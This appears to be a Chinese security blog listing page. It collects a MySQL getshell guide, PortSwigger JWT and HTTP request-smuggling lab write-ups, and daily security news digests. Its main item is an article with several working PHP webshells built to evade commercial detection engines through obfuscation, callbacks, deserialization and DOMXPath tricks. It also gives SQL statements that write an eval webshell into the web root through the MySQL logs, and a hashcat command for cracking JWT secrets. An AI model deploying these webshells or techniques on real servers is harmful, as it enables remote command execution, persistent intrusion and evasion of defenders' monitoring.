这个语句的意思是,导出当前数据表到xxx文件中,数据表中的字段以<?php phpinfo();?>分隔 形如: id username password 导出后会变成 id<?php phpinfo();?>username<?php phpinfo();?>password outfile和dumpfile的区别 outfile: 支持多行数据同时导出 使用union联合查询时,要保证两侧查询的列数相同 会在换行符制表符后面追加反斜杠 会在末尾追加换行 dumpfile: 每次只能导出一行数据 不会在换行符制表符后面追加反斜杠 不会在末尾追加换行 因此,dumpfile函数这个函数来顺利写入二进制文件,当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效),当使用dumpfile函数时,应该手动添加limit限制来获取不同的行数。 secure_file_prive 写文件提权,终究是离不开这个配置项: secure_file_prive= ,结果为空的话,表示允许任何文件读写 secure_file_prive=NULL,表示不允许任何文件读写 secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径 在mysql5.5版本前,都是默认为空,允许读取 在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。 查询该参数配置的情况: show global variables like "%secure%"; 利用sql语句修改配置项(5.6版本以前,临时修改重启失效): set global secure_file_prive="" 5.6版本以后,只能利用配置项修改: 日志GetShell 全局日志Getshell 利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来 # 查看日志是否开启 show variables like 'general_log'; # 开启日志功能 set global geeral_log=on; # 查看文件日志保存位置 show variables like 'general_log_file'; # 设置日志保存位置(getshell的话存放在网站根目录,名为.php) set global general_log_file='/var/www/html/shell.php'; # 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中 show variables like 'log_output'; # 修改日志存储类型 set global log_output='table/file'; GetShell方式: set global geeral_log=on; set global general_log_file='/var/www/html/shell.php'; select '<?php eval($_POST[8]);?>' 慢日志GetShell 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式 # 查看服务器默认时间值方式 show global variables like '%long_query_time%' show global variables like '%long%' # 查看慢日志参数 show global variable like '%slow%'; GetShell方式: # 打开慢日志 set global slow_query_log=on # 设置慢日志路径 set global slow_query_log_file='/var/www/html/shell.php' # 记录到日志中的语句 select '<?php @eval($_POST[8]);?>' or sleep(20) 爆绝对路径的方法 上述的提权方式都离不开知道网站的绝对路径,下面是一些得到绝对路径的方法。 单引号爆路径 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。http://www.xxx.com/news.php?id=1′ 错误参数值爆路径 将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。http://www.xxx.com/researcharchive.php?id=-1 Google爆路径 结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。 Site:xxx.edu.tw warning Site:xxx.com.tw “fatal error” 测试文件爆路径 很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。 www.xxx.com/test.php www.xxx.com/ceshi.php www.xxx.com/info.php www.xxx.com/phpinfo.php www.xxx.com/php_info.php www.xxx.com/1.php phpmyadmin爆路径 一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。 /phpmyadmin/libraries/lect_lang.lib.php /phpMyAdmin/index.php?lang[]=1 /phpMyAdmin/phpinfo.php load_file() /phpmyadmin/themes/darkblue_orange/layout.inc.php /phpmyadmin/libraries/select_lang.lib.php /phpmyadmin/libraries/lect_lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php 配置文件找路径 如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。 Windows: c:\windows\php.ini php配置文件 c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件 Linux: /etc/php.ini php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件 Linux 为什么要把Linux单独提出来说,因为Linux的权限控制很严格,有的时候即使我们完全控住了MYSQL 但是 没有对网站根目录的读写权限,也会很没有办法去利用上述方法写shell。
网络安全日报 2022年08月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、美国运通和 Snapchat 中的开放重定向漏洞在网络钓鱼攻击中被利用 https://www.securityweek.com/open-redirect-flaws-american-express-and-snapchat-exploited-phishing-attacks 2、员工的登录凭据被骗取后,Twilio 遭到黑客攻击 https://www.securityweek.com/twilio-hacked-after-employees-tricked-giving-login-credentials 3、360 Netlab 发现Orchard 僵尸网络利用比特币交易信息生成 DGA 域 https://securityaffairs.co/wordpress/134155/malware/orchard-botnet.html 4、英国紧急卫生服务因托管商遭受攻击而中断 https://www.bleepingcomputer.com/news/security/uk-nhs-suffers-outage-after-cyberattack-on-managed-service-provider/ 5、Zimbra企业邮件的漏洞已被黑客攻击利用 https://www.securityweek.com/zimbra-credential-theft-vulnerability-exploited-attacks 6、新的GwisinLocker勒索软件加密ESXi虚拟机 https://www.bleepingcomputer.com/news/security/new-gwisinlocker-ransomware-encrypts-windows-and-linux-esxi-servers/ 7、Lazarus组织冒充Coinbase攻击金融行业 https://www.bleepingcomputer.com/news/security/north-korean-hackers-target-crypto-experts-with-fake-coinbase-job-offers/ 8、黑客在Lucidchart上托管网络钓鱼页面 https://www.avanan.com/blog/hackers-host-phishing-pages-on-lucidchart 9、利用隐写术的恶意软件数量逐渐增多 https://blog.cyble.com/2022/08/04/stegomalware-identifying-possible-attack-vectors/ 10、超过60%的组织将SSH暴露在互联网上 https://www.infosecurity-magazine.com/news/over-60-organizations-expose-ssh/
浅析JWT安全问题
前不久研究websocket时发现port-swigger出了新的靶场,一看,发现是关于jwt安全的,刚好来总结回忆一下 JWT简介 Json web token (JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519) RFC 7519:https://datatracker.ietf.org/doc/html/rfc7519 他定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为 JSON 对象,特别适用于分布式站点的单点登录(SSO)场景 JWT与cookie/session的异同 ● JWT与cookie/session一样,都是作用于前后端认证 ● cookie/session:后端有个session,前端有个cookie,这样的基于session的认证会要求服务端不断存储用户登录信息,而随着不同客户端用户的增加,独立的服务器会逐渐无法承载更多的用户,导致其服务器的压力十分巨大,且cookie一旦被窃取还可能造成CSRF攻击 ● JWT:当我们把前后端分离开来,后端不再有session,当不再需要保存session文件,这就降低了服务端的负担,而我们就可以利用JWT这么一个基于token的鉴权认证,而基于token认证机制的应用就不需要去考虑用户在哪个服务器登录,客户端也可以将通过服务器认证后的json对象存储起来,下次访问时连同请求内容一同发送即可 JWT格式 JWT由Header、Payload、Signature组成 Header.Payload.Signature Header {"alg":"加密算法","typ":"JWT"} Payload iss: The issuer of the token sub: The subject of the token aud: The audience of the token exp: JWT expiration time defined in Unix time nbf: "Not before" time that identifies the time before which the JWT must not be accepted for processing iat: "Issued at" time, in Unix time, at which the token was issued jti: JWT ID claim provides a unique identifier for the JWT //可以自定义其它字段 Signature Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret") secret保存在后端,就是来解析确定验证的key JWT&JWS&JWE ● JWS,即JSON Web Signature,只是 JWT 的一种实现 ● JWE,即JSON Web Encryption,也只是 JWT 的一种实现 潜在漏洞 ● 签名未校验 ● 算法被篡改 ● 敏感信息泄露 ● 加密算法不安全 ● 伪造密钥(CVE-2018-0114) JWT安全问题 未对签名进行验证 我们前面说过,JWT存在一个Signature 签名,如若没对签名进行认证,就可能存在越权情况 靶场 Lab: JWT authentication bypass via unverified signature 解法 To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos. 我们需要把carlos删掉,而这就需要登录管理员账号,但是又没有给管理员的账号,只有一个普通用户,那我们就要想办法提升权限 先抓包 观察确定为JWT,将payload处字符base64解码得 把sub的wiener修改为administrator,重新传参 成功越权,然后就是删除用户即可 未对加密算法进行强验证 回顾一下Header的构成 {"alg":"加密算法","typ":"JWT"} 这里alg可以说明加密算法,但如果对该设置不进行强认证也会造成越权问题 我们可以把加密算法设成none来进行验证绕过 靶场 Lab: JWT authentication bypass via flawed signature verification 解法 先和上题一致,将sub内容修改为administrator,然后发现还是没能成为管理员,接着修改header的alg为none,把后续的Signature删除,因为Signature是通过alg算法生成的,既然alg都为none了,那Signature也应该为空了 成功变成管理员 然后就是正常删除用户就行 绕过弱签名密钥进行越权 Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret") 我们知道,签名存在一个secret密钥,这个一般都会保存在后端,别人无法查看,但是类同于弱口令,一旦这个密钥不复杂就有可能被爆破,gayhub上也有很多爆破的字典 靶场 Lab: JWT authentication bypass via weak signing key 解法 还是一样先抓包得到JWT 然后用到hashcat来进行爆破,kali自带 hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 爆破得到secret为secret1 然后前往jwt.io生成我们需要的的jwt,把sub和secret进行修改 重新传包,成功 JWT标头注入 与很多注入一样,JWT标头注入也可大致分为两种情况,一是与数据库连接,搭配sql注入使用,一是不与数据库连接,单独进行越权操作 通过jwk参数注入自签名的JWT 还记得我们说过的JWS吗 JWS,即JSON Web Signature,只是 JWT 的一种实现 我们就可以通过JWK注入JWT,形成JWS 那什么是JWK呢 JWK 英文全称为 JSON Web Key,是一个JSON对象,表示一个加密的密钥,他不同于alg属性,JWK是可选的,以下就是一个示例 {   "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",   "typ": "JWT",   "alg": "RS256",   "jwk": {       "kty": "RSA",       "e": "AQAB",       "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",       "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"   } } 在理想情况下,服务器应该是只使用公钥白名单来验证JWT签名的,但对于一些相关配置错误的服务器会用JWK参数中嵌入的任何密钥进行验证,攻击者就可以利用这一行为,用自己的RSA私钥对修改过的JWT进行签名,然后在JWK头部中嵌入对应的公钥进行越权操作 靶场 Lab: JWT authentication bypass via jwk header injection 解法 需要先安装一个插件,方便后续的操作 然后正常抓包,将sub内容修改为administrator 然后切换到JWT Editor Keys选项new一个RSA Key 我是已经生成的了,然后保存后回到Repeater选择Embedded JWK攻击 成功越权 JWT Editor 通过jku参数注入自签名的JWT 有些服务器并不会直接使用JWK头部参数来嵌入公钥,而是使用JKU(JWK Set URL)来引用一个包含了密钥的JWK Set,我们就可以借此来构造一个密钥从而实现越权操作 靶场 Lab: JWT authentication bypass via jku header injection 解法 先还是正常抓包修改sub内容,然后去到JWT Editor Keys生成一个RSA密钥,或者用上一道题目的也行,然后复制公钥 然后加上key头 {   "keys": [       ] } 保存到exploit的body中 然后将kid修改成自己生成的JWK中的kid值,将jku的值改为exploit,使其导入 然后回到点击下面的sign,选择Don’t modify header 模式,Sign 即可 成功越权 通过kid参数注入自签名的JWT 服务器可能会使用多个加密密钥来为不同类型的数据进行签名,出于这个原因,在JWT头部有时会包含一个kid参数,以避免服务器验证签名时出现错误,而在JWT规范中并没有对这个kid定义具体的结构,他仅仅是开发人员任意选择的一个字符串,可能只是一个指向数据库中的一个特定条目,甚至只是一个文件的名称也有可能 而安全问题就出现在这里,一旦这个参数受到目录遍历影响,就易被攻击者使用服务器任意文件的文件名作为验证密钥形成攻击链 靶场 Lab: JWT authentication bypass via kid header path traversal 解法 先生成一个Symmetric Key,也就是对称密钥,并将 k 的值修改为 AA==即为null 然后抓包修改kid值和sub进行目录遍历 /dev/null是linux中的“黑洞”,代表空设备文件 /dev/null文件名与AA==一致都为null,对称密钥,应该可以成功绕过 然后回到repeater点击sign选择OCT8 的密钥攻击 成功越权 其他有趣的JWT头部参数 ● cty(内容类型)如果已经找到了绕过签名验证的方法,可以尝试注入cty参数,将内容类型改为text/xml或application/x-java-serialized-object,这有可能为XXE和反序列化攻击提供新的向量。 ● x5c(X.509证书链)类似于上面讨论的jwk头部注入攻击,由于此标头参数可用于注入自签名证书,且由于 X.509 格式及其扩展的复杂性,引入这些证书时也有可能引入漏洞,可见CVE-2017-2800 和 CVE-2018-2633 JWT算法混淆 ● 即使服务器的密码是攻击者无法破解的复杂密码,但是由于JWT库的一些原生安全问题,攻击者可能会以开发者想不到的算法来伪造有效的JWT ● portswigges里也有相关靶场,目前尚未完全理解,先挖个坑,后续补上 JWT攻击的防御 我们可以看到,JWT攻击千奇百怪,但是万变不离其宗,主要的潜在漏洞为 ● 签名未校验 ● 算法被篡改 ● 敏感信息泄露 ● 加密算法不安全 ● 伪造密钥 我们也可围绕这些进行JWT攻击进行防御 ● 使用最新的 JWT 库,虽然最新版本的稳定性有待商榷,但是安全性都是较高的 ● 对 jku 标头进行严格的白名单设置 ● 确保 kid 标头不容易受到通过 header 参数进行目录遍历或 SQL 注入的攻击 ● 始终为颁发的任何令牌设置一个到期日 ● 尽可能避免通过URL参数发送令牌 ● 提供aud声明(或类似内容),以指定令牌的预期接收者,防止其应用在不同网站 ● 让颁发服务器能够撤销令牌
网络安全日报 2022年08月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、F5 通过季度安全补丁修复了 21 个漏洞 https://www.securityweek.com/f5-fixes-21-vulnerabilities-quarterly-security-patches 2、Slack 在发现凭据泄露漏洞后强制重置了一部分用户密码 https://www.securityweek.com/slack-forces-password-resets-after-discovering-software-flaw 3、红绿灯协议 (TLP) 发布2.0版本 https://www.securityweek.com/traffic-light-protocol-20-brings-wording-improvements-label-changes 4、大规模的网络攻击袭击了德国工商会 (DIHK) 的网站 https://securityaffairs.co/wordpress/134121/hacking/dihk-cyberattack.html 5、GwisinLocker 勒索软件专门针对韩国 https://securityaffairs.co/wordpress/134105/cyber-crime/gwisinlocker-ransowmare-south-korea.html 6、Twitter 证实最近540 万个账户数据泄露是由于利用了0day漏洞造成的 https://securityaffairs.co/wordpress/134087/data-breach/twitter-zero-day-data-leak.html 7、美国 CISA 和澳大利亚 ACSC 发布 2021 年顶级恶意软件列表 https://www.cisa.gov/uscert/ncas/alerts/aa22-216a 8、研究人员发现劫持网络带宽而非算力的“挖矿”程序 https://blog.aquasec.com/cryptojacking-cloud-network-bandwidth 9、研究人员揭露“C2即服务(C2aaS)”的网络犯罪活动 https://securityaffairs.co/wordpress/134073/hacking/dark-utilities-c2-as-a-service.html 10、Mirai新变种RapperBot利用SSH暴力破解入侵Linux服务器 https://thehackernews.com/2022/08/new-iot-rapperbot-malware-targeting.html
利用PHP的特性做免杀Webshell
0x01 前言 最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有ASRC的伏魔计划,也有TSRC的猎刃计划,还有最近正在进行的长亭的牧云(Aka.关山)Webshell检测引擎,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术: 1、词法分析 2、污点追踪 3、恶意代码检测 这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言) 0x02 传统Webshell检测 传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本 1、经典一句话Webshell <?php eval($_GET['cmd']);?> 2、反序列化Webshell <?php Class H3{  function __destruct(){    eval($this->c); } } $a= new H3; $a->c = $_GET['cmd']; 3、无字母Webshell <?php $_ = 97; $__ = 97 + 18; //s $___ = $__ + 6; //y $____ = $__ + 1; //t $_____ = $_ + 4; //e $______ = $__ - 6; //m $res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______); $_= $_POST['cmd']; $res($_); 但是对于当下的技术发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就需要更加全面的手段来与其抗衡 0x03 新型Webshell检测 对于现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种"主动"的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。 1、污点追踪 举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET、$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到eval、system等函数中,而污点追踪技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下: 2、词法分析 检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。 引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。 3、加密还原 在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过,例子如下: <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$____; $___(base64_decode($_[_])); // ASSERT($_POST[_]); 该样本利用了混淆和加密两种技术,但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行,将混淆加密的代码进行动态还原,解密后混淆和加密相当于明文传输,再利用污点追踪技术和动静态结合分析即可大大的提高检测率,并且能够有效减小误报率,同时也让这种在之前百试不爽的技巧无法使用。 0x04 如果Bypass掉新型检测引擎 我们要知道原理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲身参与到了bypass挑战赛中,就能感受到无论是动静态还是什么技术,最后都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法: 1、利用PHP中其他的命令执行的方法,让检测引擎识别不出这是污点汇集点 2、打断污点追踪的过程,让污点汇集点不落地 拿出一个样本我们来结合代码说明(以下样本分别bypass的引擎会标注出来,截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启) 样本1 <?php //ASRC伏魔引擎bypass $result = array_diff(["s","a","b","ys","te","m"],["a","b"]); $a = join($result); array_map($a,(array)$_REQUEST['1']); ?> 讲一下原理,首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测 那么首先的能够bypass的污点汇集点已经有了,接下里来就是寻找其他函数来将变量"洗白",我选择了array_diff() 这样就可以利用该函数拼凑出一个system函数,再利用array_map()的callback来做命令执行 结果如下: 这样就完成了最简单的一次bypass 样本2 <?php //bypass 牧云 文件名需要设置为system $filename=substr(__FILE__,-10,6); $command=$_POST[1]; $filename($command); __FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。 结果如下: 牧云引擎检测结果如下: 样本3 <?php //bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎 class A{    public function __construct(){}    public function __wakeup(){        $b = $_GET[1];        $result = array_diff(["s","a","b","ys","te","m"],["a","b"]);        $a = join($result);        Closure::fromCallable($a)->__invoke($_REQUEST[2]);   } } @unserialize('O:1:"A":1:{s:10:" A comment";N;}'); 这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类Closure的fromCallable函数 进行命令执行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check,索性换成动态控制,这样也能打断污点追踪) 结果如下: 样本4 <?php // dom and xml needed, install php-xml and leave php.ini as default. // Author:LemonPrefect $cmd = $_GET[3]; $_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']"; $_REQUEST[2] = ["php", "http://php.net/xpath"]; $xml = <<< XML <?xml version="1.0" encoding="UTF-8"?> <books>    <book>        <title>We are the champions</title>        <author>LemonPrefect</author>        <author>H3h3QAQ</author>    </book> </books> XML; $doc = new DOMDocument; $doc->loadXML($xml); $clazz = (new ReflectionClass("DOMXPath")); $instance = $clazz->newInstance($doc); $clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]); $clazz->getMethod("registerPHPFunctions")->invoke($instance); $clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]); 该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE 结果如下: 0x05 总结 在构造Webshell的时候,我们如果知道Webshell检测引擎原理,就知道如何去bypass了,对于怎样过掉Webshell引擎这件事,需要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且尽量不要让敏感字符串出现在代码本体,因为有的引擎还是有字符串的正则特征检测,同时也要学会分析,分析自己的Webshell到底哪里出的问题,从而找到更好的方法去替换。
网络安全日报 2022年08月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现影响数十万台 DrayTek Vigor 路由器的严重漏洞 https://www.securityweek.com/smbs-exposed-attacks-critical-vulnerability-draytek-vigor-routers2、思科小型企业路由器发布更新修补严重漏洞 https://www.securityweek.com/critical-vulnerabilities-allow-hacking-cisco-small-business-routers3、印度超过 2.8 亿条记录含 UAN、银行帐号、收入和 PF在网上泄露 https://ciso.economictimes.indiatimes.com/news/breaking-over-280m-records-including-uan-bank-account-info-and-pii-leaked-online/933337544、总部位于阿联酋的零售连锁 Spinneys 遭黑客攻击数据泄露 https://securereading.com/uae-spinneys-customer-data-leak/5、全新的 Woody RAT 恶意软件针对俄罗斯实体 https://securityaffairs.co/wordpress/134014/intelligence/woody-rat-targets-russia-orgs.html6、研究人员发现Go语言编写的LOLI Stealer窃密木马 https://blog.cyble.com/2022/08/03/loli-stealer-golang-based-infostealer-spotted-in-the-wild/7、暗网研究表明 87% 的勒索软件利用恶意宏 https://www.infosecurity-magazine.com/news/87-ransomware-brands-exploit-macros/8、微软宣布新的外部攻击面审计工具 https://www.bleepingcomputer.com/news/microsoft/microsoft-announces-new-external-attack-surface-audit-tool/9、VMware 敦促管理员立即修补关键的身份验证绕过漏洞 https://www.bleepingcomputer.com/news/security/vmware-urges-admins-to-patch-critical-auth-bypass-bug-immediately/10、FEMA 警告紧急警报系统可能被黑客入侵以传输虚假信息 https://edition.cnn.com/2022/08/03/politics/fema-emergency-alert-software-warning/index.html
Http-Sumggling缓存漏洞分析
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。 在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。 什么是Web缓存 WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。 缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有: 后端程序缓存 服务器缓存 浏览器缓存 缓存服务器 CDN缓存 最常见的无疑就是CDN及其类似的缓存服务器。 而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。 什么是web缓存漏洞 如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。 这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。 如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒。 Http Sumggling HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。 一般可分为以下几种: CL: Content-Length TE: Transfer-Encoding CL不为0的GET请求 CL-CL CL-TE TE-CL TE-TE 在mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。 https://paper.seebug.org/1048/#35-te-teHttp Sumggling 缓存漏洞 靶场 依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。 解法 判断是否存在走私,确定为CL-TE。 POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 第一次请求为: POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 第二次请求为下半段: GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 可以看到存在302跳转。 然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。 可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。 先点击send post包 POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 访问到第一部分: 然后在/resources/js/tracking.js send包: 可以发现成功攻击,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试。 对原界面进行抓包,多抓几次。 发现host成功变为我们的exploit。 后言 漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 